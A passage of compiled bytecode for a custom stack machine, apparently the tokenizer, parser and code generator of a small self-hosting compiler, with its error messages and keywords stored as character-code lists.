eq bp[77] bp[5] 34 | |
jz bp[77] 471 | |
makelist bp[78] [bp[5]] | |
mov bp[6] bp[78] | |
mov bp[7] 1 | |
jz bp[7] 467 | |
push 0 | |
read | |
pop bp[79] | |
sub sp sp 0 | |
mov bp[5] bp[79] | |
eq bp[80] bp[5] 34 | |
jz bp[80] 463 | |
mov bp[7] 0 | |
jz 0 463 | |
makelist bp[81] [bp[5]] | |
add bp[82] bp[6] bp[81] | |
mov bp[6] bp[82] | |
jz 0 453 | |
makelist bp[83] [bp[6]] | |
add bp[84] bp[2] bp[83] | |
mov bp[2] bp[84] | |
jz 0 566 | |
makelist bp[85] [] | |
mov bp[6] bp[85] | |
mov bp[8] 1 | |
jz bp[8] 511 | |
mov bp[8] 0 | |
makelist bp[86] [bp[5]] | |
add bp[87] bp[6] bp[86] | |
mov bp[9] bp[87] | |
mov bp[10] 0 | |
push bp[1] | |
push 0 | |
len | |
pop bp[88] | |
sub sp sp 1 | |
lt bp[89] bp[10] bp[88] | |
jz bp[89] 500 | |
push bp[9] | |
get bp[91] bp[1] bp[10] | |
push bp[91] | |
push 0 | |
call 49 | |
pop bp[90] | |
sub sp sp 2 | |
jz bp[90] 497 | |
mov bp[8] 1 | |
jz 0 497 | |
add bp[92] bp[10] 1 | |
mov bp[10] bp[92] | |
jz 0 480 | |
jz bp[8] 510 | |
makelist bp[93] [bp[5]] | |
add bp[94] bp[6] bp[93] | |
mov bp[6] bp[94] | |
push 0 | |
read | |
pop bp[95] | |
sub sp sp 0 | |
mov bp[5] bp[95] | |
jz 0 510 | |
jz 0 474 | |
mov bp[8] 0 | |
mov bp[10] 0 | |
push bp[1] | |
push 0 | |
len | |
pop bp[96] | |
sub sp sp 1 | |
lt bp[97] bp[10] bp[96] | |
jz bp[97] 530 | |
get bp[98] bp[1] bp[10] | |
eq bp[99] bp[6] bp[98] | |
eq bp[100] bp[8] 0 | |
eq bp[101] bp[99] 0 | |
mul bp[100] bp[100] bp[101] | |
eq bp[100] bp[100] 0 | |
mov bp[8] bp[100] | |
add bp[102] bp[10] 1 | |
mov bp[10] bp[102] | |
jz 0 513 | |
eq bp[103] bp[8] 0 | |
jz bp[103] 540 | |
makelist bp[105] [116,111,107,101,110,105,122,101,32,102,97,105,108,101,100,32] | |
add bp[106] bp[105] bp[6] | |
push bp[106] | |
push 0 | |
call 3 | |
pop bp[104] | |
sub sp sp 1 | |
jz 0 540 | |
makelist bp[107] [47,42] | |
eq bp[108] bp[6] bp[107] | |
jz bp[108] 562 | |
mov bp[11] bp[5] | |
mov bp[7] 1 | |
jz bp[7] 561 | |
push 0 | |
read | |
pop bp[109] | |
sub sp sp 0 | |
mov bp[5] bp[109] | |
makelist bp[110] [bp[11],bp[5]] | |
makelist bp[111] [42,47] | |
eq bp[112] bp[110] bp[111] | |
jz bp[112] 557 | |
mov bp[7] 0 | |
jz 0 557 | |
mov bp[11] bp[5] | |
sub bp[113] 0 1 | |
mov bp[4] bp[113] | |
jz 0 545 | |
jz 0 566 | |
makelist bp[114] [bp[6]] | |
add bp[115] bp[2] bp[114] | |
mov bp[2] bp[115] | |
mov bp[4] bp[5] | |
jz 0 338 | |
mov bp[-2] bp[2] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 2 | |
eq bp[1] bp[-4] 0 | |
jz bp[1] 586 | |
push bp[-3] | |
push 0 | |
call 3 | |
pop bp[2] | |
sub sp sp 1 | |
jz 0 586 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 13 | |
add bp[2] #1 bp[-4] | |
get bp[3] #0 bp[2] | |
eq bp[4] bp[3] bp[-3] | |
push bp[4] | |
makelist bp[5] [97,115,115,101,114,116,95,116,111,107,101,110,58,32,101,120,112,101,99,116,32] | |
add bp[6] bp[5] bp[-3] | |
makelist bp[7] [32,103,111,116,58,32] | |
add bp[8] bp[6] bp[7] | |
add bp[9] #1 bp[-4] | |
get bp[10] #0 bp[9] | |
add bp[11] bp[8] bp[10] | |
push bp[11] | |
push 0 | |
call 575 | |
pop bp[1] | |
sub sp sp 2 | |
add bp[12] #1 bp[-4] | |
add bp[13] bp[12] 1 | |
mov #1 bp[13] | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 31 | |
makelist bp[3] [124,124] | |
makelist bp[4] [38,38] | |
makelist bp[5] [33] | |
makelist bp[6] [bp[3],bp[4],bp[5]] | |
makelist bp[7] [61,61] | |
makelist bp[8] [33,61] | |
makelist bp[9] [62] | |
makelist bp[10] [60] | |
makelist bp[11] [60,61] | |
makelist bp[12] [62,61] | |
makelist bp[13] [bp[7],bp[8],bp[9],bp[10],bp[11],bp[12]] | |
makelist bp[14] [43] | |
makelist bp[15] [45] | |
makelist bp[16] [bp[14],bp[15]] | |
makelist bp[17] [42] | |
makelist bp[18] [47] | |
makelist bp[19] [37] | |
makelist bp[20] [bp[17],bp[18],bp[19]] | |
makelist bp[21] [bp[6],bp[13],bp[16],bp[20]] | |
mov bp[1] bp[21] | |
mov bp[2] 0 | |
push bp[1] | |
push 0 | |
len | |
pop bp[22] | |
sub sp sp 1 | |
lt bp[23] bp[2] bp[22] | |
jz bp[23] 666 | |
get bp[25] bp[1] bp[2] | |
push bp[25] | |
push bp[-3] | |
push 0 | |
call 18 | |
pop bp[24] | |
sub sp sp 2 | |
sub bp[26] 0 1 | |
eq bp[27] bp[24] bp[26] | |
eq bp[27] bp[27] 0 | |
jz bp[27] 663 | |
mov bp[-2] bp[2] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 663 | |
add bp[28] bp[2] 1 | |
mov bp[2] bp[28] | |
jz 0 640 | |
makelist bp[30] [117,110,107,110,111,119,110,32,112,114,105,111,114,105,116,121,32,111,112,101,114,97,116,111,114,58,32] | |
add bp[31] bp[30] bp[-3] | |
push bp[31] | |
push 0 | |
call 3 | |
pop bp[29] | |
sub sp sp 1 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 110 | |
get bp[8] #0 #1 | |
mov bp[1] bp[8] | |
makelist bp[9] [40] | |
eq bp[10] bp[1] bp[9] | |
jz bp[10] 702 | |
add bp[11] #1 1 | |
mov #1 bp[11] | |
sub bp[13] 0 1 | |
push bp[13] | |
push 0 | |
call 677 | |
pop bp[12] | |
sub sp sp 1 | |
mov bp[2] bp[12] | |
push 0 | |
makelist bp[15] [41] | |
push bp[15] | |
push 0 | |
call 590 | |
pop bp[14] | |
sub sp sp 2 | |
jz 0 808 | |
makelist bp[16] [91] | |
eq bp[17] bp[1] bp[16] | |
jz bp[17] 719 | |
push 0 | |
makelist bp[19] [91] | |
push bp[19] | |
makelist bp[20] [93] | |
push bp[20] | |
push 0 | |
call 922 | |
pop bp[18] | |
sub sp sp 3 | |
mov bp[3] bp[18] | |
makelist bp[21] [91,93] | |
makelist bp[22] [bp[21],bp[3]] | |
mov bp[2] bp[22] | |
jz 0 808 | |
makelist bp[23] [45] | |
eq bp[24] bp[1] bp[23] | |
jz bp[24] 740 | |
add bp[25] #1 1 | |
mov #1 bp[25] | |
makelist bp[26] [77,105,110,117,115] | |
makelist bp[29] [45] | |
push bp[29] | |
push 0 | |
call 616 | |
pop bp[28] | |
sub sp sp 1 | |
push bp[28] | |
push 0 | |
call 677 | |
pop bp[27] | |
sub sp sp 1 | |
makelist bp[30] [bp[27]] | |
makelist bp[31] [bp[26],bp[30]] | |
mov bp[2] bp[31] | |
jz 0 808 | |
makelist bp[32] [33] | |
eq bp[33] bp[1] bp[32] | |
jz bp[33] 761 | |
add bp[34] #1 1 | |
mov #1 bp[34] | |
makelist bp[35] [78,111,116] | |
makelist bp[38] [33] | |
push bp[38] | |
push 0 | |
call 616 | |
pop bp[37] | |
sub sp sp 1 | |
push bp[37] | |
push 0 | |
call 677 | |
pop bp[36] | |
sub sp sp 1 | |
makelist bp[39] [bp[36]] | |
makelist bp[40] [bp[35],bp[39]] | |
mov bp[2] bp[40] | |
jz 0 808 | |
push bp[1] | |
push 0 | |
call 269 | |
pop bp[41] | |
sub sp sp 1 | |
jz bp[41] 771 | |
makelist bp[42] [73,110,116] | |
makelist bp[43] [bp[42],bp[1]] | |
mov bp[2] bp[43] | |
jz 0 806 | |
get bp[44] bp[1] 0 | |
eq bp[45] bp[44] 34 | |
jz bp[45] 803 | |
makelist bp[46] [] | |
mov bp[4] bp[46] | |
mov bp[5] 1 | |
add bp[47] bp[5] 1 | |
push bp[1] | |
push 0 | |
len | |
pop bp[48] | |
sub sp sp 1 | |
lt bp[49] bp[47] bp[48] | |
jz bp[49] 799 | |
makelist bp[50] [73,110,116] | |
get bp[52] bp[1] bp[5] | |
push bp[52] | |
push 0 | |
call 162 | |
pop bp[51] | |
sub sp sp 1 | |
makelist bp[53] [bp[50],bp[51]] | |
makelist bp[54] [bp[53]] | |
add bp[55] bp[4] bp[54] | |
mov bp[4] bp[55] | |
add bp[56] bp[5] 1 | |
mov bp[5] bp[56] | |
jz 0 777 | |
makelist bp[57] [91,93] | |
makelist bp[58] [bp[57],bp[4]] | |
mov bp[2] bp[58] | |
jz 0 806 | |
makelist bp[59] [86,97,114] | |
makelist bp[60] [bp[59],bp[1]] | |
mov bp[2] bp[60] | |
add bp[61] #1 1 | |
mov #1 bp[61] | |
jz 1 918 | |
get bp[62] #0 #1 | |
mov bp[6] bp[62] | |
makelist bp[63] [41] | |
eq bp[64] bp[6] bp[63] | |
makelist bp[65] [59] | |
eq bp[66] bp[6] bp[65] | |
eq bp[67] bp[64] 0 | |
eq bp[68] bp[66] 0 | |
mul bp[67] bp[67] bp[68] | |
eq bp[67] bp[67] 0 | |
makelist bp[69] [44] | |
eq bp[70] bp[6] bp[69] | |
eq bp[71] bp[67] 0 | |
eq bp[72] bp[70] 0 | |
mul bp[71] bp[71] bp[72] | |
eq bp[71] bp[71] 0 | |
makelist bp[73] [93] | |
eq bp[74] bp[6] bp[73] | |
eq bp[75] bp[71] 0 | |
eq bp[76] bp[74] 0 | |
mul bp[75] bp[75] bp[76] | |
eq bp[75] bp[75] 0 | |
jz bp[75] 837 | |
mov bp[-2] bp[2] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 917 | |
makelist bp[77] [40] | |
eq bp[78] bp[6] bp[77] | |
jz bp[78] 870 | |
get bp[80] bp[2] 0 | |
makelist bp[81] [86,97,114] | |
eq bp[82] bp[80] bp[81] | |
push bp[82] | |
makelist bp[83] [102,117,110,99,116,105,111,110,32,99,97,108,108,32,102,111,114,32] | |
get bp[84] bp[2] 0 | |
add bp[85] bp[83] bp[84] | |
makelist bp[86] [32,105,115,32,110,111,116,32,100,101,102,105,110,101,100] | |
add bp[87] bp[85] bp[86] | |
push bp[87] | |
push 0 | |
call 575 | |
pop bp[79] | |
sub sp sp 2 | |
push 0 | |
makelist bp[89] [40] | |
push bp[89] | |
makelist bp[90] [41] | |
push bp[90] | |
push 0 | |
call 922 | |
pop bp[88] | |
sub sp sp 3 | |
mov bp[3] bp[88] | |
makelist bp[91] [67,97,108,108] | |
get bp[92] bp[2] 1 | |
makelist bp[93] [bp[92],bp[3]] | |
makelist bp[94] [bp[91],bp[93]] | |
mov bp[2] bp[94] | |
jz 0 917 | |
makelist bp[95] [91] | |
eq bp[96] bp[6] bp[95] | |
jz bp[96] 893 | |
add bp[97] #1 1 | |
mov #1 bp[97] | |
makelist bp[98] [71,101,116] | |
sub bp[100] 0 1 | |
push bp[100] | |
push 0 | |
call 677 | |
pop bp[99] | |
sub sp sp 1 | |
makelist bp[101] [bp[2],bp[99]] | |
makelist bp[102] [bp[98],bp[101]] | |
mov bp[2] bp[102] | |
push 0 | |
makelist bp[104] [93] | |
push bp[104] | |
push 0 | |
call 590 | |
pop bp[103] | |
sub sp sp 2 | |
jz 0 917 | |
push bp[6] | |
push 0 | |
call 616 | |
pop bp[105] | |
sub sp sp 1 | |
mov bp[7] bp[105] | |
lt bp[106] bp[-3] bp[7] | |
eq bp[106] 0 bp[106] | |
jz bp[106] 907 | |
mov bp[-2] bp[2] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 917 | |
add bp[107] #1 1 | |
mov #1 bp[107] | |
push bp[7] | |
push 0 | |
call 677 | |
pop bp[108] | |
sub sp sp 1 | |
makelist bp[109] [bp[2],bp[108]] | |
makelist bp[110] [bp[6],bp[109]] | |
mov bp[2] bp[110] | |
jz 0 808 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 24 | |
push 0 | |
push bp[-4] | |
push 0 | |
call 590 | |
pop bp[4] | |
sub sp sp 2 | |
get bp[5] #0 #1 | |
eq bp[6] bp[5] bp[-3] | |
jz bp[6] 942 | |
add bp[7] #1 1 | |
mov #1 bp[7] | |
makelist bp[8] [] | |
mov bp[-2] bp[8] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 994 | |
jz bp[-5] 948 | |
get bp[9] #0 #1 | |
mov bp[1] bp[9] | |
add bp[10] #1 1 | |
mov #1 bp[10] | |
jz 0 955 | |
sub bp[12] 0 1 | |
push bp[12] | |
push 0 | |
call 677 | |
pop bp[11] | |
sub sp sp 1 | |
mov bp[1] bp[11] | |
makelist bp[13] [bp[1]] | |
mov bp[2] bp[13] | |
mov bp[3] 1 | |
jz bp[3] 990 | |
get bp[14] #0 #1 | |
eq bp[15] bp[14] bp[-3] | |
jz bp[15] 966 | |
add bp[16] #1 1 | |
mov #1 bp[16] | |
mov bp[3] 0 | |
jz 0 989 | |
push 0 | |
makelist bp[18] [44] | |
push bp[18] | |
push 0 | |
call 590 | |
pop bp[17] | |
sub sp sp 2 | |
jz bp[-5] 979 | |
get bp[19] #0 #1 | |
mov bp[1] bp[19] | |
add bp[20] #1 1 | |
mov #1 bp[20] | |
jz 0 986 | |
sub bp[22] 0 1 | |
push bp[22] | |
push 0 | |
call 677 | |
pop bp[21] | |
sub sp sp 1 | |
mov bp[1] bp[21] | |
makelist bp[23] [bp[1]] | |
add bp[24] bp[2] bp[23] | |
mov bp[2] bp[24] | |
jz 0 958 | |
mov bp[-2] bp[2] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 60 | |
get bp[6] #0 #1 | |
mov bp[1] bp[6] | |
makelist bp[7] [105,102] | |
eq bp[8] bp[1] bp[7] | |
jz bp[8] 1053 | |
push 1 | |
makelist bp[10] [40] | |
push bp[10] | |
push 0 | |
call 590 | |
pop bp[9] | |
sub sp sp 2 | |
sub bp[12] 0 1 | |
push bp[12] | |
push 0 | |
call 677 | |
pop bp[11] | |
sub sp sp 1 | |
mov bp[2] bp[11] | |
push 0 | |
makelist bp[14] [41] | |
push bp[14] | |
push 0 | |
call 590 | |
pop bp[13] | |
sub sp sp 2 | |
push 0 | |
call 1203 | |
pop bp[15] | |
sub sp sp 0 | |
mov bp[3] bp[15] | |
get bp[16] #0 #1 | |
makelist bp[17] [101,108,115,101] | |
eq bp[18] bp[16] bp[17] | |
jz bp[18] 1044 | |
add bp[19] #1 1 | |
mov #1 bp[19] | |
push 0 | |
call 1203 | |
pop bp[20] | |
sub sp sp 0 | |
mov bp[4] bp[20] | |
jz 0 1046 | |
makelist bp[21] [] | |
mov bp[4] bp[21] | |
makelist bp[22] [73,102] | |
makelist bp[23] [bp[22],bp[2],bp[3],bp[4]] | |
mov bp[-2] bp[23] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1163 | |
makelist bp[24] [119,104,105,108,101] | |
eq bp[25] bp[1] bp[24] | |
jz bp[25] 1089 | |
push 1 | |
makelist bp[27] [40] | |
push bp[27] | |
push 0 | |
call 590 | |
pop bp[26] | |
sub sp sp 2 | |
sub bp[29] 0 1 | |
push bp[29] | |
push 0 | |
call 677 | |
pop bp[28] | |
sub sp sp 1 | |
mov bp[2] bp[28] | |
push 0 | |
makelist bp[31] [41] | |
push bp[31] | |
push 0 | |
call 590 | |
pop bp[30] | |
sub sp sp 2 | |
push 0 | |
call 1203 | |
pop bp[32] | |
sub sp sp 0 | |
mov bp[5] bp[32] | |
makelist bp[33] [87,104,105,108,101] | |
makelist bp[34] [bp[33],bp[2],bp[5]] | |
mov bp[-2] bp[34] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1163 | |
makelist bp[35] [114,101,116,117,114,110] | |
eq bp[36] bp[1] bp[35] | |
jz bp[36] 1115 | |
add bp[37] #1 1 | |
mov #1 bp[37] | |
sub bp[39] 0 1 | |
push bp[39] | |
push 0 | |
call 677 | |
pop bp[38] | |
sub sp sp 1 | |
mov bp[2] bp[38] | |
push 0 | |
makelist bp[41] [59] | |
push bp[41] | |
push 0 | |
call 590 | |
pop bp[40] | |
sub sp sp 2 | |
makelist bp[42] [82,101,116,117,114,110] | |
makelist bp[43] [bp[42],bp[2]] | |
mov bp[-2] bp[43] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1163 | |
add bp[44] #1 1 | |
get bp[45] #0 bp[44] | |
makelist bp[46] [61] | |
eq bp[47] bp[45] bp[46] | |
jz bp[47] 1143 | |
add bp[48] #1 2 | |
mov #1 bp[48] | |
sub bp[50] 0 1 | |
push bp[50] | |
push 0 | |
call 677 | |
pop bp[49] | |
sub sp sp 1 | |
mov bp[2] bp[49] | |
push 0 | |
makelist bp[52] [59] | |
push bp[52] | |
push 0 | |
call 590 | |
pop bp[51] | |
sub sp sp 2 | |
makelist bp[53] [65,115,115,105,103,110] | |
makelist bp[54] [bp[53],bp[1],bp[2]] | |
mov bp[-2] bp[54] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1163 | |
sub bp[56] 0 1 | |
push bp[56] | |
push 0 | |
call 677 | |
pop bp[55] | |
sub sp sp 1 | |
mov bp[2] bp[55] | |
push 0 | |
makelist bp[58] [59] | |
push bp[58] | |
push 0 | |
call 590 | |
pop bp[57] | |
sub sp sp 2 | |
makelist bp[59] [69,120,112,114] | |
makelist bp[60] [bp[59],bp[2]] | |
mov bp[-2] bp[60] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 11 | |
push 0 | |
makelist bp[3] [123] | |
push bp[3] | |
push 0 | |
call 590 | |
pop bp[2] | |
sub sp sp 2 | |
makelist bp[4] [] | |
mov bp[1] bp[4] | |
jz 1 1199 | |
get bp[5] #0 #1 | |
makelist bp[6] [125] | |
eq bp[7] bp[5] bp[6] | |
jz bp[7] 1191 | |
add bp[8] #1 1 | |
mov #1 bp[8] | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1198 | |
push 0 | |
call 998 | |
pop bp[9] | |
sub sp sp 0 | |
makelist bp[10] [bp[9]] | |
add bp[11] bp[1] bp[10] | |
mov bp[1] bp[11] | |
jz 0 1179 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 6 | |
get bp[1] #0 #1 | |
makelist bp[2] [123] | |
eq bp[3] bp[1] bp[2] | |
jz bp[3] 1219 | |
push 0 | |
call 1167 | |
pop bp[4] | |
sub sp sp 0 | |
mov bp[-2] bp[4] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1228 | |
push 0 | |
call 998 | |
pop bp[5] | |
sub sp sp 0 | |
makelist bp[6] [bp[5]] | |
mov bp[-2] bp[6] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 26 | |
mov #0 bp[-3] | |
mov #1 0 | |
makelist bp[4] [] | |
mov bp[1] bp[4] | |
push #0 | |
push 0 | |
len | |
pop bp[5] | |
sub sp sp 1 | |
lt bp[6] #1 bp[5] | |
jz bp[6] 1288 | |
get bp[7] #0 #1 | |
mov bp[2] bp[7] | |
add bp[8] #1 1 | |
get bp[9] #0 bp[8] | |
makelist bp[10] [40] | |
eq bp[11] bp[9] bp[10] | |
jz bp[11] 1275 | |
add bp[12] #1 1 | |
mov #1 bp[12] | |
push 1 | |
makelist bp[14] [40] | |
push bp[14] | |
makelist bp[15] [41] | |
push bp[15] | |
push 0 | |
call 922 | |
pop bp[13] | |
sub sp sp 3 | |
mov bp[3] bp[13] | |
makelist bp[16] [70,117,110,99,100,101,99,108] | |
push 0 | |
call 1167 | |
pop bp[17] | |
sub sp sp 0 | |
makelist bp[18] [bp[16],bp[2],bp[3],bp[17]] | |
makelist bp[19] [bp[18]] | |
add bp[20] bp[1] bp[19] | |
mov bp[1] bp[20] | |
jz 0 1287 | |
push 1 | |
makelist bp[22] [59] | |
push bp[22] | |
push 0 | |
call 590 | |
pop bp[21] | |
sub sp sp 2 | |
makelist bp[23] [86,97,114,100,101,99,108] | |
makelist bp[24] [bp[23],bp[2]] | |
makelist bp[25] [bp[24]] | |
add bp[26] bp[1] bp[25] | |
mov bp[1] bp[26] | |
jz 0 1239 | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 3 | |
makelist bp[1] [bp[-3]] | |
add bp[2] #3 bp[1] | |
mov #3 bp[2] | |
add bp[3] #2 1 | |
mov #2 bp[3] | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 3 | |
mov bp[1] #2 | |
makelist bp[3] [100,117,109,109,121] | |
push bp[3] | |
push 0 | |
call 1296 | |
pop bp[2] | |
sub sp sp 1 | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 6 | |
makelist bp[2] [109,111,118,32,115,112,32,98,112] | |
push bp[2] | |
push 0 | |
call 1296 | |
pop bp[1] | |
sub sp sp 1 | |
makelist bp[4] [112,111,112,32,98,112] | |
push bp[4] | |
push 0 | |
call 1296 | |
pop bp[3] | |
sub sp sp 1 | |
makelist bp[6] [114,101,116] | |
push bp[6] | |
push 0 | |
call 1296 | |
pop bp[5] | |
sub sp sp 1 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 7 | |
makelist bp[2] [98,112,91] | |
push #9 | |
push 0 | |
call 162 | |
pop bp[3] | |
sub sp sp 1 | |
add bp[4] bp[2] bp[3] | |
makelist bp[5] [93] | |
add bp[6] bp[4] bp[5] | |
mov bp[1] bp[6] | |
add bp[7] #9 1 | |
mov #9 bp[7] | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 393 | |
get bp[10] bp[-3] 0 | |
mov bp[1] bp[10] | |
makelist bp[11] [67,97,108,108] | |
eq bp[12] bp[1] bp[11] | |
jz bp[12] 1532 | |
get bp[13] bp[-3] 1 | |
get bp[14] bp[13] 0 | |
mov bp[2] bp[14] | |
get bp[15] bp[-3] 1 | |
get bp[16] bp[15] 1 | |
mov bp[3] bp[16] | |
makelist bp[17] [100,101,98,117,103] | |
eq bp[18] bp[2] bp[17] | |
jz bp[18] 1397 | |
makelist bp[19] [100,101,98,117,103,100,117,109,109,121] | |
mov bp[-2] bp[19] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 1397 | |
push 0 | |
call 1351 | |
pop bp[20] | |
sub sp sp 0 | |
mov bp[4] bp[20] | |
push #6 | |
push bp[2] | |
push 0 | |
call 89 | |
pop bp[21] | |
sub sp sp 2 | |
mov bp[5] bp[21] | |
push bp[3] | |
push 0 | |
len | |
pop bp[23] | |
sub sp sp 1 | |
eq bp[24] bp[5] bp[23] | |
push bp[24] | |
makelist bp[25] [99,111,109,112,105,108,101,95,101,120,112,114,58,32,101,120,112,101,99,116,32] | |
push bp[5] | |
push 0 | |
call 162 | |
pop bp[26] | |
sub sp sp 1 | |
add bp[27] bp[25] bp[26] | |
makelist bp[28] [32,97,114,103,117,109,101,110,116,115,44,32,103,111,116,32] | |
add bp[29] bp[27] bp[28] | |
push bp[3] | |
push 0 | |
len | |
pop bp[31] | |
sub sp sp 1 | |
push bp[31] | |
push 0 | |
call 162 | |
pop bp[30] | |
sub sp sp 1 | |
add bp[32] bp[29] bp[30] | |
push bp[32] | |
push 0 | |
call 575 | |
pop bp[22] | |
sub sp sp 2 | |
mov bp[6] 0 | |
push bp[3] | |
push 0 | |
len | |
pop bp[33] | |
sub sp sp 1 | |
lt bp[34] bp[6] bp[33] | |
jz bp[34] 1466 | |
get bp[36] bp[3] bp[6] | |
push bp[36] | |
push 0 | |
call 1374 | |
pop bp[35] | |
sub sp sp 1 | |
mov bp[7] bp[35] | |
makelist bp[38] [112,117,115,104,32] | |
add bp[39] bp[38] bp[7] | |
push bp[39] | |
push 0 | |
call 1296 | |
pop bp[37] | |
sub sp sp 1 | |
add bp[40] bp[6] 1 | |
mov bp[6] bp[40] | |
jz 0 1442 | |
makelist bp[42] [112,117,115,104,32,48] | |
push bp[42] | |
push 0 | |
call 1296 | |
pop bp[41] | |
sub sp sp 1 | |
makelist bp[43] [114,101,97,100] | |
eq bp[44] bp[2] bp[43] | |
makelist bp[45] [119,114,105,116,101] | |
eq bp[46] bp[2] bp[45] | |
eq bp[47] bp[44] 0 | |
eq bp[48] bp[46] 0 | |
mul bp[47] bp[47] bp[48] | |
eq bp[47] bp[47] 0 | |
makelist bp[49] [108,101,110] | |
eq bp[50] bp[2] bp[49] | |
eq bp[51] bp[47] 0 | |
eq bp[52] bp[50] 0 | |
mul bp[51] bp[51] bp[52] | |
eq bp[51] bp[51] 0 | |
jz bp[51] 1493 | |
push bp[2] | |
push 0 | |
call 1296 | |
pop bp[53] | |
sub sp sp 1 | |
jz 0 1503 | |
push 0 | |
call 1308 | |
pop bp[54] | |
sub sp sp 0 | |
mov bp[8] bp[54] | |
makelist bp[55] [99,97,108,108,32] | |
makelist bp[56] [bp[8],bp[2],bp[55]] | |
makelist bp[57] [bp[56]] | |
add bp[58] #5 bp[57] | |
mov #5 bp[58] | |
makelist bp[60] [112,111,112,32] | |
add bp[61] bp[60] bp[4] | |
push bp[61] | |
push 0 | |
call 1296 | |
pop bp[59] | |
sub sp sp 1 | |
makelist bp[63] [115,117,98,32,115,112,32,115,112,32] | |
push bp[3] | |
push 0 | |
len | |
pop bp[65] | |
sub sp sp 1 | |
push bp[65] | |
push 0 | |
call 162 | |
pop bp[64] | |
sub sp sp 1 | |
add bp[66] bp[63] bp[64] | |
push bp[66] | |
push 0 | |
call 1296 | |
pop bp[62] | |
sub sp sp 1 | |
mov bp[-2] bp[4] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 2066 | |
makelist bp[67] [73,110,116] | |
eq bp[68] bp[1] bp[67] | |
jz bp[68] 1541 | |
get bp[69] bp[-3] 1 | |
mov bp[-2] bp[69] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 2066 | |
makelist bp[70] [86,97,114] | |
eq bp[71] bp[1] bp[70] | |
jz bp[71] 1556 | |
push #8 | |
get bp[73] bp[-3] 1 | |
push bp[73] | |
push 0 | |
call 89 | |
pop bp[72] | |
sub sp sp 2 | |
mov bp[-2] bp[72] | |
mov sp bp | |
pop bp | |
ret | |
jz 0 2066 | |
makelist bp[74] [] | |
mov bp[3] bp[74] | |
mov bp[6] 0 | |
get bp[76] bp[-3] 1 | |
push bp[76] | |
push 0 | |
len | |
pop bp[75] | |
sub sp sp 1 | |
lt bp[77] bp[6] bp[75] | |
jz bp[77] 1580 | |
get bp[79] bp[-3] 1 | |
get bp[80] bp[79] bp[6] | |
push bp[80] | |
push 0 | |
call 1374 | |
pop bp[78] | |
sub sp sp 1 | |
makelist bp[81] [bp[78]] | |
add bp[82] bp[3] bp[81] | |
mov bp[3] bp[82] | |
add bp[83] bp[6] 1 | |
mov bp[6] bp[83] | |
jz 0 1559 | |
push 0 | |
call 1351 | |
pop bp[84] | |
sub sp sp 0 | |
mov bp[7] bp[84] | |
makelist bp[85] [91,93] | |
eq bp[86] bp[1] bp[85] | |
jz bp[86] 1632 | |
push bp[3] | |
push 0 | |
len | |
pop bp[87] | |
sub sp sp 1 | |
eq bp[88] bp[87] 0 | |
jz bp[88] 1598 | |
makelist bp[89] [91,93] | |
mov #0 bp[89] | |
jz 0 1621 | |
makelist bp[90] [91] | |
get bp[91] bp[3] 0 | |
add bp[92] bp[90] bp[91] | |
mov #0 bp[92] | |
mov bp[6] 1 | |
push bp[3] | |
push 0 | |
len | |
pop bp[93] | |
sub sp sp 1 | |
lt bp[94] bp[6] bp[93] | |
jz bp[94] 1618 | |
makelist bp[95] [44] | |
add bp[96] #0 bp[95] | |
get bp[97] bp[3] bp[6] | |
add bp[98] bp[96] bp[97] | |
mov #0 bp[98] | |
add bp[99] bp[6] 1 | |
mov bp[6] bp[99] | |
jz 0 1603 | |
makelist bp[100] [93] | |
add bp[101] #0 bp[100] | |
mov #0 bp[101] | |
makelist bp[103] [109,97,107,101,108,105,115,116,32] | |
add bp[104] bp[103] bp[7] | |
makelist bp[105] [32] | |
add bp[106] bp[104] bp[105] | |
add bp[107] bp[106] #0 | |
push bp[107] | |
push 0 | |
call 1296 | |
pop bp[102] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[108] [77,105,110,117,115] | |
eq bp[109] bp[1] bp[108] | |
jz bp[109] 1647 | |
